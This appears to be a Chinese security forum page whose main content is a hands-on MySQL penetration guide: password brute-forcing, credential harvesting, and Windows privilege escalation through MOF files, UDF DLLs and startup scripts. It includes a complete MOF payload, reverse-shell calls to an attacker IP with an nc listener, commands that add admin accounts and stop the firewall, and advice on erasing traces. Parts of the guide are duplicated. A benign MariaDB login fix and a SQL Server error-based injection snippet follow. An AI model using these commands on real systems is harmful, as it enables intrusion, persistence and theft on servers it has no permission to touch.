3.msf下模块exploit/windows/mysql/mysql_start_up提权
use exploit/windows/mysql/mysql_start_up
set rhost 192.168.2.1
set rport 3306
set username root
set password 123456
run
msf下mysql_start_up提权有一定的几率,对英文版系统支持较好。
1.5 MSF其他相关漏洞提权
1.Mysql身份认证漏洞及利用(CVE-2012-2122)
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。受影响的产品: All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23不存在漏洞.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not不存在漏洞.
use auxiliary/scanner/mysql/ mysql_authbypass_hashdump
2.exploit/windows/mysql/mysql_yassl_hello
3.exploit/windows/mysql/scrutinizer_upload_exec
1.6 mysql密码破解
1.6.1 lcain工具破解密码
使用UltraEdit-32编辑器直接打开user.MYD文件,打开后使用二进制模式进行查看,在root用户后面是一串字符串,选中这些字符串将其复制到记事本中,这些字符串即为用户加密值,例如506D1427F6F61696B4501445C90624897266DAE3。
注意:
1. root后面的“”不要复制到字符串中。
2. 在有些情况下需要往后面看看,否则得到的不是完整的MYSQLSHA1密码,总之其正确的密码位数是40位。
安装cain工具,使用cracker,右键单击“Add tolist”将Mysql Hashes值加入到破解列表中,使用软件中的字典、暴力破解等方式来进行暴力破解。
1.6.2 网站在线密码破解1. cmd5.com破解。将获取的mysql值放在cmd5.com网站中进行查询,mysql密码一般都是收费的。
2. somd5.com破解。Somd5.com是后面出现的一个免费破解网站,每次破解需要手工选择图形码进行破解,速度快,效果好,只是每次只能破解一个,而且破解一次后需要重新输入验证码
1.6.3 hashcat破解
hashcat支持很多种破解算法,免费开源软件,官方网站 https://hashcat.net/hashcat/,破解命令:
hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323类型
hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5类型
1.6.4 Join the Ripper password cracker
John the Ripper下载地址: http://www.openwall.com /john/h/john179w2.zip,John the Ripper除了能够破解linux外,还能破解多种格式的密码。
Echo 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B> hashes.txt
John –format =mysql-sha1 hashes.txt
john --list=formats | grep mysql //查看支持mysql密码破解的算法 查看全部
1.1 mysql信息收集
1、端口信息收集
mysql默认端口是3306端口,但也有自定义端口针对默认端口扫描主要利用扫描软件进行探测,推荐使用:
1. iisputter,直接填写3306端口,IP地址填写单个或者C段地址。
2. nmap扫描nmap -p 3306 192.168.1.1-254
特定目标的渗透,可能需要对全端口进行扫描,可以使用Nmap对某一个IP地址进行全端口扫描,端口扫描软件还有sfind等DOS下扫描的工具。
2、版本信息收集
(1)msf查看版本信息auxiliary/scanner/mysql/mysql_version模块,以扫描主机192.168.157.130为例,命令为:
use auxiliary/scanner/mysql/mysql_version
set rhosts 192.168.157.130
run
(2)mysql查询版本命令: SELECT @@version`、`SELECT version();
(3)sqlmap通过注入点扫描确认信息:
sqlmap.py -u url --dbms mysql
(4)phpmyadmin管理页面登录后查看localhost->变量->服务器变量和设置中的version参数值。
3、数据库管理信息收集
Mysql管理工具有多种,例如phpmyadmin网站管理,Navicat for MySQL以及MysqlFront等客户端工具。这些工具有的会直接保存配置信息,这些信息包含数据库服务器地址和数据库用户名以及密码,通过嗅探或者破解配置文件可以获取密码等信息。
4、msf信息收集模块:
(1)mysql哈希值枚举
use auxiliary/scanner/mysql/mysql_hashdump
set username root
set password root
run
(2)获取相关信息
use auxiliary/admin/mysql/mysql_enum
set username root
set password root
run
获取数据库版本,操作系统名称,架构,数据库目录,数据库用户以及密码哈希值。
(3)执行mysql语句,连接成功后可以在msf执行sql语句,跟sqlmap的–sql-shell模块类似。
use auxiliary/admin/mysql/mysql_sql
(4)将mysql_schem导出到本地 /root/.msf4/loot/文件夹下
use auxiliary/scanner/mysql/mysql_schemadump
(5)文件枚举和目录可写信息枚举
auxiliary/scanner/mysql/mysql_file_enum
auxiliary/scanner/mysql/mysql_writable_dirs 没有测试成功过,需要定义枚举目录和相关文件,觉得基本没有啥用。
1.2 mysql密码获取
1.2.1暴力破解
Mysql暴力破解主要有几种:
1.网页在线连接破解
可以使用burpsuite和phpMyAdmin多线程批量破解工具。 下载: https://portswigger.net/burp/、 http://pan.baidu.com/s/1c1LD6co
2.msf通过命令行进行暴力破解
msf破解mysql密码模块auxiliary/scanner/mysql/mysql_login,其参数主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE参数。对单一主机仅仅需要设置RHOSTS、RPORT、USERNAME、PASSWORD和PASS_FILE,其它参数根据实际情况进行设置。
(1)场景A:对内网获取root某一个口令后,扩展渗透
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.157.1-254
set password root
set username root
run
执行后对192.168.157.1-254进行mysql密码扫描验证。
(2)场景B:使用密码字典进行扫描
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.157.1-254
set pass_file /tmp/password.txt
set username root
run
3.使用nmap扫描并破解密码
(1)对某一个IP或者IP地址段进行nmap默认密码暴力破解并扫描
nmap --script=mysql-brute 192.168.157.130
nmap --script=mysql-brute 192.168.157.1-254
(2)使用root账号root密码进行mysql密码验证并扫描获取指定IP地址的端口信息以及mysql数据库相关信息
nmap -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130 (3)检查root空口令
nmap --script mysql-empty-password 192.168.195.130
4.使用hscan工具对mysql口令进行扫描,需要设置扫描IP地址段以及数据库口令字典及用户名字典。
1.2.2源代码泄露1.网站源代码备份文件
一些网站源代码文件中会包含数据库连接文件,通过查看这些文件可以获取数据库账号和密码。一般常见的数据库连接文件为config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOME\docs\examples\jca\XXXX-ds.xml。以前有一款工具挖掘鸡可以自定义网站等名称对zip/rar/tar/tar.gz/gz/sql等后缀文件进行扫描。
2.配置备份文件
使用ultraedit等编辑文件编辑数据库配置文件后,会留下bak文件。
1.2.3 文件包含: 本地文件包含漏洞可以包含文件,通过查看文件代码获取数据库配置文件,进而读取数据库用户名和密码。
1.2.4其他情况: 有些软件会将IP地址、数据库用户名和密码写进程序中,运行程序后,通过cain软件进行嗅探,可以获取数据库密码。另外Mysql客户端管理工具有的管理员会建立连接记录,这些连接记录保存了用户名、密码和连接IP地址或者主机名,通过配置文件或者嗅探可以获取用户名和密码。
1.3 mysql获取webshell
1.3.1 phpmyadminroot账号获取webshell
1. 3.2 sqlmap注入点获取webshell
1.4 mysql提权
1.4.1 mof提权
1.Webshell上传mof文件提权
MySQL Root权限MOF方法提权是来自国外Kingcope大牛发布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit( https://www.exploit-db.com/exploits/23083/),简称mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:
方法1:运行 MOF 文件指定为命令行参数 Mofcomp.exe 文件。
方法2:使用 IMofCompiler 接口和 $ CompileFile 方法。
方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。
Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用IMofCompiler::CompileFile方法。第三种方法仅为向后兼容性与早期版本的?WMI提供,并因为此功能可能不会提供在将来的版本后,不应使用。注意使用MOF方法提权的前提是当前Root帐号可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下,否则会失败!
该漏洞的利用前提条件是必须具备mysql的root权限,在Kingcope公布的0day中公布了一个pl利用脚本。
perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555
192.168.2.100为mysql数据库所在服务器,mysql口令为空,反弹到192.168.2.150的5555端口上。
2.生成nullevt.mof文件
将以下代码保存为nullevt.mof文件:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select \ From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
3.通过Mysql查询将文件导入
执行以下查询语句,将上面生成的nullevt.mof导入到c:\windows\system32\wbem\mof\目录下在windows7中默认是拒绝访问的。导入后系统会自动运行,执行命令。
selectload_file('C:\\RECYCLER\\nullevt.mof') into dumpfile
'c:/windows/system32/wbem/mof/nullevt.mof';
1.4.2 msf直接mof提权
Msf下的exploit/windows/mysql/mysql_mof模块提供了直接Mof提权,不过该漏洞成功跟操作系统权限和Mysql数据库版本有关,执行成功后会直接反弹shell到meterpreter。
使用过程:
use exploit/windows/mysql/mysql_mof
set rhost 192.168.157.1 //设置需要提权的远程主机IP地址
set rport 3306 //设置mysql的远程端口
set password root //设置mysql数据库root密码
set username root //设置mysql用户名
options //查看设置
run 0
技巧:
要是能够通过网页连接管理(phpmyadmin),则可以修改host为%并刷新权限后,则可以通过msf等工具远程连接数据库。默认root等账号不允许远程连接,除非管理员或者数据库用户自己设置。
方法1:本地登入mysql,更改?mysql数据库里的?user?表里的?host项,将localhost改为%
use mysql;
update user set host = '%' where user = 'root';
FLUSH PRIVILEGES ;
select host, user from user;
方法2:直接授权(推荐)
从任何主机上使用root用户,密码:youpassword(你的root密码)连接到mysql服务器:
# mysql -u root -proot
GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION;
FLUSH PRIVILEGES;
推荐重新增加一个用户,在实际测试过程中发现很多服务器使用root配置了多个地址,修改后可能会影响实际系统的运行。在实际测试过程中因此建议新增一个用户,授权所有权限,而不是直接更改root配置。
1.4.3 UDF提权UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限,其利用条件是目标系统是Windows(Win2000,XP,Win2003);拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数,有root账号密码
Windows下UDF提权对于Windows2008以下服务器比较适用,也即针对Windows2000、Windows2003的成功率较高。
1.UDF提权条件
1. Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
2. Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
3. 掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。
4. 可以将udf.dll写入到相应目录的权限。
2.提权方法 (1)获取数据库版本、数据位置以及插件位置等信息
select version();//获取数据库版本
select user();//获取数据库用户
select @@basedir ;//获取安装目录
show variables like '%plugins%'; //寻找mysql安装路径
(2)导出路径
C:\Winnt\udf.dll Windows 2000
C:\Windows\udf.dll Windows2003(有的系统被转义,需要改为C:Windowsudf.dll)
MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的libplugin文件夹下才能创建自定义函数。该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建libplugin文件夹,然后将udf.dll文件导出到该目录即可。
在某些情况下,我们会遇到Can’t open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,网上大牛发现利用NTFS ADS流来创建文件夹的方法:
select @@basedir; //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server
5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server
5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录
执行成功以后就会plugin目录,然后再进行导出udf.dll即可。
(3)创建cmdshell 函数,该函数叫什么名字在后续中则使用该函数进行查询:
create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’;
(4)执行命令:
select sys_eval(‘whoami’);
一般情况下不会出现创建不成功哦。连不上3389可以先停止windows防火墙和筛选
select sys_eval(‘net stop policyagent’);
select sys_eval(‘net stop sharedaccess’);
udf.dll下常见函数:
cmdshell 执行cmd;
downloader 下载者,到网上下载指定文件并保存到指定目录;
open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
backshell 反弹Shell;
ProcessView 枚举系统进程;
KillProcess 终止指定进程;
regread 读注册表;
regwrite 写注册表;
shut 关机,注销,重启;
about 说明与帮助函数;
具体用户示例:
select cmdshell('net user iis_user 123!@#abcABC /add');
select cmdshell('net localgroup administrators iis_user /add');
select cmdshell('regedit /s d:web3389.reg');
select cmdshell('netstat -an');
(5)清除痕迹
drop function cmdshell;//将函数删除
删除udf.dll文件以及其它相关入侵文件及日志。
(6)常见错误
1290 - The MySQL server is running with the --secure-file-priv option so it cannot
execute this statement
在my.ini或者mysql.cnf文件中注销 (使用#号) 包含secure_file_priv的行(SHOW VARIABLES LIKE “secure_file_priv”)。
1123 - Can't initialize function 'backshell';
UDFs are unavailable with the --skip-grant-tables option
需要将my.ini中的skip-grant-tables选项去掉。
3.webshell下udf提权
通过集成udf提权的webshell输入数据库用户名及密码以及数据库服务器地址或者IP通过连接后导出进行提权。
4.Mysql提权综合利用工具
v5est0r 写了一个Mysql提权综合利用工具,详细情况请参考其代码共享网站: https://github.com/v5est0r/Python_FuckMySQL其主要功能有:
(1)自动导出你的backdoor和mof文件
(2)自动判断mysql版本,根据版本不同导出UDF的DLL到不同目录,UDF提权
(3)导出LPK.dll文件,劫持系统目录提权
(4)写启动项提权
UdF自动提权:
python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf
LPK劫持提权:
python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk
启动项提权:
python root.py -a 127.0.0.1 -p root -e "ver&whoami" –mst
例如通过LOAD_FILE来查看Mysql配置文件my.ini,如果其中配置了skip-grant-tables,这无法进行提权
1.4.4 无法获取webshell提权
1.连接mysql
(1)mysql.exe -h ip -uroot -p
(2)phpmyadmin
(3)Navicat for MySQL
2.查看数据库版本和数据路径
SELECT VERSION( );
Select @@datadir;
5.1以下版本,将dll导入到c:/windows或者c:/windows/system32/
5.1以上版本 通过以下查询来获取插件路径:
SHOW VARIABLES WHERE Variable_Name LIKE "%dir";
show variables like '%plugin%' ;
select load_file('C:/phpStudy/Apache/conf/httpd.conf')
select load_file('C:/phpStudy/Apache/conf/vhosts.conf')
select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf')
select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf')
select load_file('d:/phpStudy/Apache/conf/vhosts.conf')
3.修改mysql.txt
Mysql.txt为udf.dll的二进制文件转成十六进制代码。
(1)先执行导入ghost表中的内容
修改以下代码的末尾代码 select backshell(“YourIP”,4444);
(2)导出文件到某个目录
select data from Ghost into dumpfile 'c:/windows/mysqldll.dll';
select data from Ghost into dumpfile 'c:/windows/system32/mysqldll';
select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll';
select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll';
select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll'
select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll';
select load_file('C:/ProgramData/MySQL/ MySQL Server 5.1/Data/mysql/user.frm');
select data from Ghost into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib/plugin/mysqldll.dll'
(3)查看FUNCTION中是否存在cmdshell和backshell 存在则删除:
drop FUNCTION cmdshell;//删除cmdshell
drop FUNCTION backshell;//删除backshell
创建backshell:
CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell
在具备独立主机的服务器上执行监听:
nc -vv -l -p 44444
执行查询:
select backshell("192.192.192.1",44444);//修改192.192.192.1为你的IP和端口
4.获取webshell后添加用户命令
注意如果不能直接执行,则需要到c:\windows\system32\下执行
net user antian365 www.xianzhi.aliyun.com /add
net localgroup administrators antian365
1.4.5 sqlmap直连数据库提权Sqlmap直接连接数据库提权,需要有写入权限和root账号及密码,命令如下:
(1)连接数据库
sqlmap.py -d "mysql://root:123456@219.115.1.1:3306/mysql" --os-shell
(2)选择操作系统的架构,32位操作系统选择1,64位选择2.
(3)自动上传udf或提示os-shell
(4)执行whomai命令如果获取系统权限,则表示提权成功。
1.4.5 kali linux下的msfudf提权msfconsole
use exploit/windows/mysql/mysql_payload
options
set rhost 192.168.2.1
set rport 3306
set username root
set password 123456
run 0或者exploit
msf下udf提权成功率并不高,跟windows操作系统版本,权限和数据库版本有关,特别是secure-file-priv选项,如果有该选项基本不会成功。
=12pt 1.4.6 启动项提权
1.创建表并插入vbs脚本到表中,依次使用以下命令:
show databases ;
use test;
show tables;
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnetaspnettest/add"",0)") ;
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators aspnet /add"",0) " );
select \ from a;
2. 导出vbs脚本到启动
使用以下命令将刚才在a表中创建的vbs脚本导出到启动选项中。 select \ from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单
\\程序\\启动\\a.vbs";
导入成功后,系统重新启动时会自动添加密码为“1”且用户名称为“1”的用户到管理员组中。在实际使用过程中该脚本成功执行的几率比较低,有时候会出现不能导出的错误.
推荐使用以下脚本
show databases ;
use test;
show tables;
create table b (cmd text);
insert into b values ("net user Aspnet123545345! /add");
insert into b values ("net localgroup administrators Aspnet /add");
insert into b values ("del b.bat");
select from b into outfile "C:\\Documents and Settings\\All Users\\ 「开始」菜单\\程序\\启动\\b.bat";
该脚本执行后虽然会闪现Dos窗口,如果有权限导入到启动选项中,则一定会执行成功,在虚拟机中通过MySQL连接器连接并执行以上命令后,在C:\Documents and Settings\All Users\「开始」菜单\程序\启动目录中会有刚才导出的b.bat脚本文件 说明:
在不同的操作系统中C:\Documents and Settings\All Users\「开始」菜单\程序\启动目录文件名称可能会不同,这个时候就要将其目录换成相应的目录名称即可。例如如果是英文版本操作系统则其插入的代码为:
select from b into outfile "C:\\Documents and Settings\\All Users\\ Start Menu\\Programs\\Startup\\b.bat";
Windows 2008 Server的启动目录为:
C:\\ProgramData\\Microsoft\\Windows \\Start Menu\\Programs\\Startup\\iis.vbs
其vbs方法可以参考如下写法:
create table a (cmd text);
insert into a values ("set wshshell= createobject (""wscript.shell"" ) " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user antian365 qwer1234!@# /add"",0) " );
insert into a values ("b=wshshell.run ("" cmd.exe /c net localgroup Administrators antian365 /add"",0) " );
select \ from a into outfile "C:\\ProgramData\\Microsoft\\ Windows\\Start Menu\\Programs\\Startup\\iis.vbs";
3.msf下模块exploit/windows/mysql/mysql_start_up提权
use exploit/windows/mysql/mysql_start_up
set rhost 192.168.2.1
set rport 3306
set username root
set password 123456
run
msf下mysql_start_up提权有一定的几率,对英文版系统支持较好。
1.5 MSF其他相关漏洞提权
1.Mysql身份认证漏洞及利用(CVE-2012-2122)
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。受影响的产品: All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23不存在漏洞.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not不存在漏洞.
use auxiliary/scanner/mysql/ mysql_authbypass_hashdump
2.exploit/windows/mysql/mysql_yassl_hello
3.exploit/windows/mysql/scrutinizer_upload_exec
1.6 mysql密码破解
1.6.1 lcain工具破解密码
使用UltraEdit-32编辑器直接打开user.MYD文件,打开后使用二进制模式进行查看,在root用户后面是一串字符串,选中这些字符串将其复制到记事本中,这些字符串即为用户加密值,例如506D1427F6F61696B4501445C90624897266DAE3。
注意:
1. root后面的“”不要复制到字符串中。
2. 在有些情况下需要往后面看看,否则得到的不是完整的MYSQLSHA1密码,总之其正确的密码位数是40位。
安装cain工具,使用cracker,右键单击“Add tolist”将Mysql Hashes值加入到破解列表中,使用软件中的字典、暴力破解等方式来进行暴力破解。
1.6.2 网站在线密码破解1. cmd5.com破解。将获取的mysql值放在cmd5.com网站中进行查询,mysql密码一般都是收费的。
2. somd5.com破解。Somd5.com是后面出现的一个免费破解网站,每次破解需要手工选择图形码进行破解,速度快,效果好,只是每次只能破解一个,而且破解一次后需要重新输入验证码
1.6.3 hashcat破解
hashcat支持很多种破解算法,免费开源软件,官方网站 https://hashcat.net/hashcat/,破解命令:
hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323类型
hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5类型
1.6.4 Join the Ripper password cracker
John the Ripper下载地址: http://www.openwall.com /john/h/john179w2.zip,John the Ripper除了能够破解linux外,还能破解多种格式的密码。
Echo 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B> hashes.txt
John –format =mysql-sha1 hashes.txt
john --list=formats | grep mysql //查看支持mysql密码破解的算法
挠头的php连接mysql数据库的报错,终于解决了,赶紧分享出来,大家少踩坑吧
kakaxi 发表了文章 • 0 个评论 • 1246 次浏览 • 2018-06-05 19:01
连接mysql数据时提示错误: “ERROR 1698 (28000): Access denied for user ‘root’@’localhost'”,网上众说纷纭,很多方法都不灵,有很多只告诉了方法,而且还不好使,都是一知半解,没有分析问题的原因的,所以,经过自虐了好长一段时间,终于算是找到根上了。
环境介绍:
操作系统:Linux kali 4.15.0-kali2-amd64 #1 SMP Debian 4.15.11-1kali1 (2018-03-21) x86_64 GNU/Linux
PHP版本:PHP 7.2.4-1 (cli) (built: Apr 5 2018 08:50:27) ( NTS )
数据库:mysql Ver 15.1 Distrib 10.1.29-MariaDB, for debian-linux-gnu (x86_64) using readline 5.2
问题现象就是:
web页面报错 :「Could not connect:」
web服务器日志 /var/log/apache2/error.log 中显示如下错误:[Tue Jun 05 06:12:55.420068 2018] [php7:warn] [pid 9648] [client 172.16.155.1:56318] PHP Warning: mysqli_connect(): (HY000/1698): Access denied for user 'root'@'localhost' in /var/www/html/sys/config.php on line 7在系统上,使用root帐号登录mysql是没有问题的:root@kali:/var/www/html# mysql -uroot -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 66
Server version: 10.1.29-MariaDB-6 Debian buildd-unstable
Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
如果输入 mysql -h 127.0.0.1 -uroot -p,就加入了一个-h的参数指定服务器的地址,就会禁止登录(有同学会问,为啥要这样做,其实就是为了模拟web服务器连接数据库的过程,所以你应该懂得)root@kali:/var/www/html# mysql -h 127.0.0.1 -uroot -p
Enter password:
ERROR 1698 (28000): Access denied for user 'root'@'localhost'
用户名是root,密码为空
原因分析:
为了找到这个问题:查看了数据库用户的信息,确定了两个关键的字段;
MariaDB [(none)]> select user,plugin from mysql.user;
+------+-------------+
| user | plugin |
+------+-------------+
| root | unix_socket |
| wt | |
+------+-------------+
2 rows in set (0.00 sec)
这个里面非常关键的信息就是在数据库用户的表里有一个列属性是plugin,mysql从5.5.7开始引入plugins 以进行用户连接时的密码验证,plugin创建外部/代理用户。mysql官网上原文如下:
Plugins for authenticating attempts by clients to connect to MySQL Server. Plugins are available for several authentication protocols.
进一步查看相关内容得到:
Plugin主要提供了三中方法:unix_socket、mysql_native_password、 mysql_old_password(在 MySQL 5.7.5版本已经被废除掉了)
其中mysql_native_password是指使用mysql数据库中的user表里的用户密码进行验证,unix_socket 是 socket 链接。 所以需要将root用户的plugin 值由unix_socket 改为mysql_native_password,然后就flush privileges ,重启mysql服务,果然ok了。
具体过程如下:
root@kali:/var/www/html# mysql -uroot -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 69
Server version: 10.1.29-MariaDB-6 Debian buildd-unstable
Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [mysql]> update user set plugin='mysql_native_password' where user='root';
Query OK, 1 row affected (0.01 sec)
Rows matched: 1 Changed: 1 Warnings: 0
MariaDB [mysql]> select user,plugin from user;
+------+-----------------------+
| user | plugin |
+------+-----------------------+
| root | mysql_native_password |
| wt | |
+------+-----------------------+
2 rows in set (0.00 sec)
MariaDB [mysql]> flush privileges;
Query OK, 0 rows affected (0.00 sec)
MariaDB [mysql]> exit
Bye
root@kali:/var/www/html# service mysql restart
root@kali:/var/www/html#
再次打开网页,Happy,Happy,我又看到了熟悉的界面
查看全部
连接mysql数据时提示错误: “ERROR 1698 (28000): Access denied for user ‘root’@’localhost'”,网上众说纷纭,很多方法都不灵,有很多只告诉了方法,而且还不好使,都是一知半解,没有分析问题的原因的,所以,经过自虐了好长一段时间,终于算是找到根上了。
环境介绍:
操作系统:Linux kali 4.15.0-kali2-amd64 #1 SMP Debian 4.15.11-1kali1 (2018-03-21) x86_64 GNU/Linux
PHP版本:PHP 7.2.4-1 (cli) (built: Apr 5 2018 08:50:27) ( NTS )
数据库:mysql Ver 15.1 Distrib 10.1.29-MariaDB, for debian-linux-gnu (x86_64) using readline 5.2
问题现象就是:
web页面报错 :「Could not connect:」
web服务器日志 /var/log/apache2/error.log 中显示如下错误:[Tue Jun 05 06:12:55.420068 2018] [php7:warn] [pid 9648] [client 172.16.155.1:56318] PHP Warning: mysqli_connect(): (HY000/1698): Access denied for user 'root'@'localhost' in /var/www/html/sys/config.php on line 7在系统上,使用root帐号登录mysql是没有问题的:root@kali:/var/www/html# mysql -uroot -p如果输入 mysql -h 127.0.0.1 -uroot -p,就加入了一个-h的参数指定服务器的地址,就会禁止登录(有同学会问,为啥要这样做,其实就是为了模拟web服务器连接数据库的过程,所以你应该懂得)
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 66
Server version: 10.1.29-MariaDB-6 Debian buildd-unstable
Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
root@kali:/var/www/html# mysql -h 127.0.0.1 -uroot -p用户名是root,密码为空
Enter password:
ERROR 1698 (28000): Access denied for user 'root'@'localhost'
原因分析:
为了找到这个问题:查看了数据库用户的信息,确定了两个关键的字段;
MariaDB [(none)]> select user,plugin from mysql.user;这个里面非常关键的信息就是在数据库用户的表里有一个列属性是plugin,mysql从5.5.7开始引入plugins 以进行用户连接时的密码验证,plugin创建外部/代理用户。mysql官网上原文如下:
+------+-------------+
| user | plugin |
+------+-------------+
| root | unix_socket |
| wt | |
+------+-------------+
2 rows in set (0.00 sec)
Plugins for authenticating attempts by clients to connect to MySQL Server. Plugins are available for several authentication protocols.
进一步查看相关内容得到:
Plugin主要提供了三中方法:unix_socket、mysql_native_password、 mysql_old_password(在 MySQL 5.7.5版本已经被废除掉了)
其中mysql_native_password是指使用mysql数据库中的user表里的用户密码进行验证,unix_socket 是 socket 链接。 所以需要将root用户的plugin 值由unix_socket 改为mysql_native_password,然后就flush privileges ,重启mysql服务,果然ok了。
具体过程如下:
root@kali:/var/www/html# mysql -uroot -p再次打开网页,Happy,Happy,我又看到了熟悉的界面
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 69
Server version: 10.1.29-MariaDB-6 Debian buildd-unstable
Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [mysql]> update user set plugin='mysql_native_password' where user='root';
Query OK, 1 row affected (0.01 sec)
Rows matched: 1 Changed: 1 Warnings: 0
MariaDB [mysql]> select user,plugin from user;
+------+-----------------------+
| user | plugin |
+------+-----------------------+
| root | mysql_native_password |
| wt | |
+------+-----------------------+
2 rows in set (0.00 sec)
MariaDB [mysql]> flush privileges;
Query OK, 0 rows affected (0.00 sec)
MariaDB [mysql]> exit
Bye
root@kali:/var/www/html# service mysql restart
root@kali:/var/www/html#
sql server update 报错注入
封 发表了文章 • 1 个评论 • 1202 次浏览 • 2017-09-22 11:06
update mosuan set xx=11,bb='xx',nobb=1 where id = 1
直接利用类型转换来报错就可以了。
update mosuan set xx=11,bb='xx'+db_name()+1+'',nobb=1 where id = 1
sql server字符串和数字进行比较的时候就会报错并把字符串的内容显示到错误上。
查看全部
update mosuan set xx=11,bb='xx',nobb=1 where id = 1
直接利用类型转换来报错就可以了。
update mosuan set xx=11,bb='xx'+db_name()+1+'',nobb=1 where id = 1
